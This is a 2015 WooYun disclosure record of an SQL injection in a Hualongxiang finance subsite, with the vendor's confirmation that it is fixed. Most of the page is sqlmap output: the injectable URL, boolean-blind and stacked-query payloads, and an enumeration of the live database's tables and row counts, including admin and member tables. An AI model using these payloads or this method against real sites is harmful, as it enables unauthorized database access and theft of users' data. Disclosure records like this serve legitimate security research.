当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0144508

漏洞标题:化龙巷某站存在SQL注入

相关厂商:化龙巷

漏洞作者: 路人甲

提交时间:2015-10-02 14:33

修复时间:2015-11-22 08:58

公开时间:2015-11-22 08:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:13

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-02: 细节已通知厂商并且等待厂商处理中
2015-10-08: 厂商已经确认,细节仅向厂商公开
2015-10-18: 细节向核心白帽子及相关领域专家公开
2015-10-28: 细节向普通白帽子公开
2015-11-07: 细节向实习白帽子公开
2015-11-22: 细节向公众公开

简要描述:

详细说明:

http://money.hualongxiang.com/cmslist/?id=29&sn=%E8%AF%B7%E8%BE%93%E5%85%A5%E6%96%B0%E9%97%BB%E5%85%B3%E9%94%AE%E8%AF%8D 化龙巷理财,注入参数:id

21.jpg

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=29 AND 7145=7145&sn=%E8%AF%B7%E8%BE%93%E5%85%A5%E6%96%B0%E9%97%BB%E5%85%B3%E9%94%AE%E8%AF%8D
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: id=29;(SELECT * FROM (SELECT(SLEEP(5)))wIdW)#&sn=%E8%AF%B7%E8%BE%93%E5%85%A5%E6%96%B0%E9%97%BB%E5%85%B3%E9%94%AE%E8%AF%8D
---
back-end DBMS: MySQL 5.0.11
Database: hlxapp
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| module_erp_refreshlog | 29170203 |
| module_ly_search_detail | 5199797 |
| module_values | 2394798 |
| module_house_images | 2140630 |
| module_analytic | 1248888 |
| module_house_info | 724354 |
| bosslog | 647905 |
| module_car_order | 625817 |
| module_marry_log | 573661 |
| veryide_sys | 562515 |
| module_erp_loginlog | 479647 |
| module_family_images | 453375 |
| s_uslog | 295563 |
| module_marry_image | 294538 |
| module_cms_content | 291074 |
| module_lott_value | 226019 |
| module_marry_logg | 150686 |
| wechat_records | 134972 |
| module_house_yzm | 109788 |
| veryide_cfiles | 78894 |
| veryide_logs | 75644 |
| module_tags_relation | 71025 |
| module_family_tag_relation | 67870 |
| module_staff | 64703 |
| module_tour_linedate | 61793 |
| module_members | 59460 |
| module_keyword | 48880 |
| module_options | 48672 |
| module_article | 47734 |
| module_family_visit | 46701 |
| module_call_log | 40233 |
| module_images | 39857 |
| module_shop | 36425 |
| ad_mes | 35207 |
| module_ly_linetravel | 34929 |
| module_sellrecord | 34052 |
| module_family_order_rel | 30608 |
| module_car_dis | 29623 |
| feeback_data | 29448 |
| module_groups | 28346 |
| ad_advent | 26203 |
| module_house_jike_source | 25879 |
| module_lott_invite | 25125 |
| module_marry_album | 25114 |
| module_house_log | 25081 |
| module_house_jike_plot | 25046 |
| module_family_order | 23943 |
| module_tour_linetravel | 22215 |
| module_ly_search_count | 21881 |
| module_house_jike | 18800 |
| module_car_due | 17578 |
| module_edu_due | 17294 |
| module_collect | 16528 |
| module_family_album | 16216 |
| wechat_activevotes | 16214 |
| module_marry_visit | 15739 |
| module_appoint_queue | 15687 |
| module_page | 15384 |
| module_message | 15381 |
| module_house_tuan | 14204 |
| module_ly_linedate | 13948 |
| module_car_images | 13760 |
| module_marry_ding | 12533 |
| module_ly_tag_lists | 10876 |
| module_house_priceinfo | 10817 |
| module_recommend | 10715 |
| module_house_buy | 10191 |
| wechat_actives | 10038 |
| module_marry_click | 9588 |
| module_car_promo | 9293 |
| ad_cfirm | 9005 |
| module_signbar | 8638 |
| wechat_userstatus | 8608 |
| module_forms | 8519 |
| module_ly_line | 8295 |
| module_ly_action_log | 8064 |
| module_tags | 7952 |
| wechat_threads | 7798 |
| module_edu_train | 6183 |
| module_ly_qq_log | 6002 |
| module_tour_line | 5964 |
| module_marry_user | 5685 |
| module_marry_ding_relation | 5491 |
| module_car_configs | 4985 |
| module_house_wenda | 4556 |
| reg_sign | 4246 |
| module_ly_customer_infos | 4240 |
| wechat_floors | 4005 |
| reg_user | 3923 |
| module_car_disrelation | 3718 |
| module_car_model | 3305 |
| module_tour_place | 3277 |
| module_adsview | 3225 |
| module_family_pic | 3047 |
| euro_guess | 3033 |
| ad_class | 2971 |
| module_ly_linedue | 2584 |
| module_ly_customer_asks | 2308 |
| module_marry_order | 2210 |
| module_special | 2209 |
| module_house_staff_extra | 2188 |
| module_car_reply | 2119 |
| module_house_extension_sms | 2033 |
| module_marry_order_ext | 1930 |
| module_house_extension | 1846 |
| module_coupons | 1618 |
| module_comments | 1614 |
| module_tour_linedue | 1528 |
| module_marry_due | 1491 |
| module_edu_qiuxue | 1448 |
| s_forbid_tid | 1320 |
| reg_pay | 1239 |
| module_house_daily | 1189 |
| module_ly_customer_collections | 1157 |
| euro_guesscount | 1084 |
| module_money | 1061 |
| module_house_jike_log | 1039 |
| module_cms_category | 971 |
| module_phone | 931 |
| module_category | 929 |
| module_car_series | 853 |
| module_house_shop_extra | 848 |
| module_car_relation | 820 |
| module_house_school_relation | 802 |
| s_kword | 800 |
| module_house_appoint | 796 |
| module_tour_area | 744 |
| wall_user | 720 |
| module_car_shop | 713 |
| module_marry_album_tmp | 673 |
| wechat_userbind | 524 |
| module_adsarea | 502 |
| module_liveinfo | 487 |
| plot_sale | 485 |
| module_lott_option | 482 |
| module_ly_recs | 415 |
| module_family_tag | 413 |
| module_live_pic | 413 |
| module_ly_tag_relationships | 386 |
| module_family_plot | 375 |
| module_family_ask | 328 |
| veryide_admins | 326 |
| module_article_source | 316 |
| module_marry_page | 314 |
| module_family_reply | 304 |
| module_pai_value | 287 |
| ad_bx | 284 |
| module_marry_hc | 284 |
| module_marry_order_relation | 259 |
| module_family_atlas | 237 |
| module_goodinfo | 229 |
| module_house_school | 212 |
| module_house_report | 208 |
| module_marry_shop | 208 |
| plot_temp | 193 |
| module_car_houdao | 182 |
| plot_sale_right | 170 |
| module_live | 146 |
| ad_user | 145 |
| module_marry_recommend | 145 |
| module_family_shop | 142 |
| module_car_recom | 134 |
| veryide_admins_majia | 129 |
| module_family_case | 127 |
| module_black | 124 |
| module_house_activities | 114 |
| module_marry_cate | 114 |
| module_pai_relation | 114 |
| module_sale_due | 110 |
| module_hit_count | 106 |
| module_article_category | 97 |
| module_car_hd_pic | 94 |
| module_pai_members | 87 |
| module_marry_extension | 83 |
| module_sale_forms | 81 |
| module_family_askcate | 67 |
| module_sale_type | 67 |
| reg_shop | 66 |
| module_shop_qq_hits | 63 |
| module_car_shopcon | 56 |
| vol_volunteer | 56 |
| module_house_tag | 55 |
| hsk_msg | 54 |
| module_cms_admin | 52 |
| module_ly_pos | 49 |
| module_family_team | 47 |
| module_house_wenda_category | 46 |
| module_tag | 45 |
| ad_menu | 43 |
| module_house_peizhi_relation | 40 |
| module_go | 39 |
| module_family_work | 38 |
| module_ly_visa | 35 |
| bk_nback | 34 |
| feeback_class | 34 |
| module_family_store | 30 |
| module_car_hd_atlas | 29 |
| module_lott_info | 28 |
| veryide_groups | 28 |
| module_house_sale | 27 |
| euro_games | 26 |
| module_ly_visa_due | 24 |
| module_car_hd_case | 23 |
| module_family_tag_category | 19 |
| veryide_menus | 18 |
| ad_ind | 16 |
| module_house_peizhi | 15 |
| module_sale_brand | 15 |
| hsk_shopinfo | 14 |
| vol_admin | 11 |
| reg_active | 10 |
| module_gift | 8 |
| module_house_tag_type | 8 |
| wall_property | 8 |
| hsk_category | 7 |
| module_invite | 7 |
| module_sale_option | 7 |
| reg_group | 7 |
| module_car_hd_store | 6 |
| module_jifen_goods | 6 |
| module_jifen_images | 6 |
| module_pai_info | 6 |
| module_car_artrecom | 5 |
| module_jifen_user | 5 |
| hsk_booking | 4 |
| module_chest | 4 |
| reg_order | 4 |
| vol_events | 4 |
| bk_mes | 3 |
| module_jifen_exchange | 3 |
| module_notice | 3 |
| s_forbid_fid | 3 |
| `session` | 2 |
| module_family_pump | 2 |
| module_sale_cate | 2 |
| reg_reward | 2 |
| s_kword_ad | 2 |
| reg_admin | 1 |
+--------------------------------+---------+

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-10-08 08:56

厂商回复:

感谢对化龙巷安全的关注,确认存在漏洞,目前已修复!

最新状态:

暂无